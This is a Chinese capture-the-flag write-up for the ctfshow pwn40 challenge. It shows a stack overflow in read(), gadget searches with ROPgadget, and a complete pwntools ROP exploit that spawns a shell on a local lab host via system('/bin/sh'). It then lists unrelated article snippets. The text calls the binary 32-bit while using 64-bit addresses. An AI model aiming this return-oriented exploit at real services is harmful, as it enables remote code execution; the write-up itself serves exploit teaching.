ctfshow pwn40

目錄

1. 分析程序

2. 漏洞編寫

3. 漏洞驗證


1. 分析程序

首先檢查程序相關保護,發現程序為32位且只開啟了一個NX保護

checksec pwn

使用IDA進行逆向分析代碼,查看漏洞觸發點:

在main函數中,有一個ctfshow函數,這里我們跟進ctfshow()

發現存在一個read函數,此函數寫法存在漏洞,buf限制的是0x14個字節,但是可以傳入0x32個字節并造成棧溢出。

  • 當程序執行到 read(0, buf, 0x32u) 時:
    • 程序會阻塞等待用戶輸入
    • 用戶通過鍵盤(或輸入重定向)輸入數據
    • 輸入的數據會被原樣復制buf 指向的內存中

????????同時我們注意到,程序存在一個后門函數hint(),但是hint函數不是system("/bin/sh")了,而是 puts("/bin/sh")return system("echo 'You find me?'"),因此我們需要通過組合,重新將其拼接成system("/bin/sh")。

????????首先我們獲取到system函數地址,以及/bin/sh所在內存位置,這里通過工具objdump以及ROPgadget進行查找,使用objdump查找system函數所在具體位置,輸入objdump -d -j .plt pwn,可以看到地址為0x400520

????????使用ROPgadget查找/bin/sh所在位置,這里發現了兩個,隨意一個都可以使用:

ROPgadget --binary pwn --string /bin/sh這里我們使用0x0000000000400808

????????64位和32位不同,參數不是直接放在棧上,而是優先放在寄存器rdi,rsi,rdx,rcx,r8,r9。這幾個寄存器放不下時才會考慮棧

????????所以,這里我們還需要使用工具找到找到一個pop_rdi的地址,輸入:ROPgadget --binary pwn --only "pop|ret" | rdi,這里我們使用地址0x00000000004007e3

????????還需要一個返回地址ret做棧對齊:ROPgadget --binary pwn --only "ret",這里我們使用地址0x00000000004004fe

????????計算偏移地址,可以直接在IDA上看到相關偏移地址,到RBP的距離為0xA。

2. 漏洞編寫

????????首先確定基本信息

from pwn import *
context.log_level = 'debug'
io = remote("192.168.79.135",10001)

????????接著構造payload信息,需要計算偏移量,構造ret_rdi、bin_sh、ret、system的函數的地址

ret_edi = 0x00000000004007e3
ret = 0x00000000004004fe
bin_sh = 0x0000000000400808
system= 0x400520payload = b'A'*(0xa+8) + p64(ret_edi) + p64(bin_sh) + p64(ret) + p64(system)

????????最終我們的目的就是通過棧溢出修改返回地址,以控制程序執行流程。它通過調用 pop_rdi 指令將 bin_sh 的地址加載到寄存器rdi中,然后通過 ret 指令進行間接跳轉,最終調用 system 函數,以執行 system(“/bin/sh”)進而獲得一個我們想要的shell。

完整的payload如下:

from pwn import *
context(arch="amd64",os="linux")
io = remote("192.168.79.135",10001)ret_rdi = 0x00000000004007e3
ret = 0x00000000004004fe
bin_sh = 0x0000000000400808
system= 0x400520payload = b'A'*(0xa+8) + p64(ret_rdi) + p64(bin_sh) + p64(ret) + p64(system)io.sendline(payload)
io.interactive()

3. 漏洞驗證

????????服務端啟動相關程序,掛載至本地的10001端口上:

sudo socat TCP4-LISTEN:10001,fork EXEC:./pwn

攻擊端運行編寫好的程序,可以看到獲取了服務端的權限

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/90887.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/90887.shtml
英文地址,請注明出處:http://en.pswp.cn/web/90887.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

SQL173 店鋪901國慶期間的7日動銷率和滯銷率

SQL173 店鋪901國慶期間的7日動銷率和滯銷率 SQL題解:店鋪動銷率與滯銷率計算 關鍵:只要當天任一店鋪有任何商品的銷量就輸出該天的結果,即使店鋪901當天的動銷率為0。 潛臺詞:?輸出邏輯與店鋪901的銷售情況無關,只取…

PytorchLightning最佳實踐基礎篇

PyTorch Lightning(簡稱 PL)是一個建立在 PyTorch 之上的高層框架,核心目標是剝離工程代碼與研究邏輯,讓研究者專注于模型設計和實驗思路,而非訓練循環、分布式配置、日志管理等重復性工程工作。本文從基礎到進階&…

Apache Flink 實時流處理性能優化實踐指南

Apache Flink 實時流處理性能優化實踐指南 隨著大數據和實時計算需求不斷增長,Apache Flink 已經成為主流的流處理引擎。然而,在生產環境中,高并發、大吞吐量和低延遲的業務場景對 Flink 作業的性能提出了更高要求。本文將從原理層面深入解析…

ubuntu上將TempMonitor加入開機自動運行的方法

1.新建一個TempMonitor.sh文件,內容如下:#!/bin/bashcd /fjrobot/ ./TempMonitor &2.執行以下命令chmod x TempMonitor chmod x TempMonitor.sh rm -rf /etc/rc2.d/S56TempMonitor rm -rf /etc/init.d/TempMonitor cp /fjrobot/TempMonitor.sh /etc/…

速賣通自養號測評技術解析:IP、瀏覽器與風控規避的實戰方案

一、速賣通的“春天”來了,賣家如何抓住機會?2025年的夏天,速賣通的風頭正勁。從沙特市場躍升為第二大電商平臺,到8月大促返傭力度升級,平臺對優質商家的扶持政策越來越清晰。但與此同時,競爭也愈發激烈——…

adb: CreateProcessW failed: 系統找不到指定的文件

具體錯誤 adb devices * daemon not running; starting now at tcp:5037 adb: CreateProcessW failed: 系統找不到指定的文件。 (2) * failed to start daemon adb.exe: failed to check server version: cannot connect to daemon 下載最新的platform-tools-windows 下載最新…

Centos安裝HAProxy搭建Mysql高可用集群負載均衡

接上文MYSQL高可用集群搭建–docker https://blog.csdn.net/weixin_43914685/article/details/149647589?spm1001.2014.3001.5501 連接到你搭建的 Percona XtraDB Cluster (PXC) 數據庫集群,實現高可用性和負載均衡,建議使用一個中間件來管理這些連接。…

Sql server開掛的OPENJSON

以前一直用sql server2008,自從升級成sql server2019后,用OPENJSON的感覺像開掛,想想以前表作為參數傳輸時的痛苦,不堪回首。一》不堪回首 為了執行效率,很多時候希望將表作為參數傳給數據庫的存儲過程。存儲過程支持自…

【數據結構】隊列和棧練習

1.用隊列實現棧 225. 用隊列實現棧 - 力扣(LeetCode) typedef int QDatatype; typedef struct QueueNode {struct QueueNode *next;QDatatype data; }QNode;typedef struct Queue {QNode* head;QNode* tail;QDatatype size; }Que;typedef struct {Que…

LabVIEW二維碼實時識別

?LabVIEW通過機器視覺技術,集成適配硬件構建二維碼實時識別系統。通過圖像采集、預處理、定位及識別全流程自動化,解決復雜環境下二維碼識別效率低、準確率不足問題,滿足工業產線追溯、物流分揀等實時識別需求。應用場景適用于工業產線追溯&…

微服務-springcloud-springboot-Skywalking詳解(下載安裝)

一、SkyWalking核心介紹 1. 什么是SkyWalking? Apache SkyWalking是一款國人主導開發的開源APM(應用性能管理)系統,2015年由吳晟創建,2017年進入Apache孵化器,2019年畢業成為Apache頂級項目。它通過分布式…

Elasticsearch 字段值過長導致索引報錯問題排查與解決經驗總結

在最近使用 Elasticsearch 的過程中,我遇到了一個 字段值過長導致索引失敗 的問題。經過排查和多次嘗試,最終通過設置字段 "index": false 方式解決。本文將從問題現象、排查過程、問題分析、解決方案和建議等方面,詳細記錄這次踩坑…

使用idea 將一個git分支的部分記錄合并到git另一個分支

場景: 有多個版本分支,需要將其中一個分支的某一兩次提交合并到指定分支上 eg: 將v1.0.0分支中指定提交記錄 合并到 v1.0.1分支中 操作: 步驟一 idea切換項目分支到v1.0.1(需要合并到哪個分支就先站到哪個分支上) 步驟二 在ide…

基于深度學習的圖像分類:使用ShuffleNet實現高效分類

前言 圖像分類是計算機視覺領域中的一個基礎任務,其目標是將輸入的圖像分配到預定義的類別中。近年來,深度學習技術,尤其是卷積神經網絡(CNN),在圖像分類任務中取得了顯著的進展。ShuffleNet是一種輕量級的…

OpenGL里相機的運動控制

相機的核心構造一個是glm::lookAt函數,一個是glm::perspective函數,本文相機的一切運動都在于如何構建相應的參數傳入上述兩個函數里。glm::mat4 glm::lookAt(glm::vec3 const &eye,//相機所在位置glm::vec3 const &center,//要凝視的點glm::vec…

java設計模式 -【策略模式】

策略模式定義 策略模式(Strategy Pattern)是一種行為設計模式,允許在運行時選擇算法的行為。它將算法封裝成獨立的類,使得它們可以相互替換,而不影響客戶端代碼。 核心組成 Context(上下文)&…

項目重新發布更新緩存問題,Nginx清除緩存更新網頁

server {listen 80;server_name your.domain.com; # 替換為你的域名root /usr/share/nginx/html; # 替換為你的項目根目錄# 規則1:HTML 文件 - 永不緩存# 這是最關鍵的一步,確保瀏覽器總是獲取最新的入口文件。location /index.html {add_header Cache-…

系統架構師:系統安全與分析-思維導圖

系統安全與分析的定義??系統安全與分析是系統架構師在系統全生命周期中貫穿的核心職責,其本質是通過??識別、評估、防控安全風險,并基于數據與威脅情報進行動態分析??,構建從技術到管理的多層次防護體系,確保系統的保密性&a…

利用 Google Guava 的令牌桶限流實現數據處理限流控制

目錄 一、令牌桶限流機制原理 二、場景設計與目標 三、核心實現代碼(Java) 1. 完整代碼實現 四、運行效果分析 五、應用建議 在高吞吐數據處理場景中,如何限制數據處理速率、保護系統資源、防止下游服務過載是系統設計中重要的環節。本文…

小黑課堂計算機二級 WPS Office題庫安裝包2.52_Win中文_計算機二級考試_安裝教程

軟件下載 【名稱】:小黑課堂計算機二級 WPS Office題庫安裝包2.52 【大小】:584M 【語言】:簡體中文 【安裝環境】:Win10/Win11(其他系統不清楚) 【迅雷網盤下載鏈接】(務必手機注冊&#…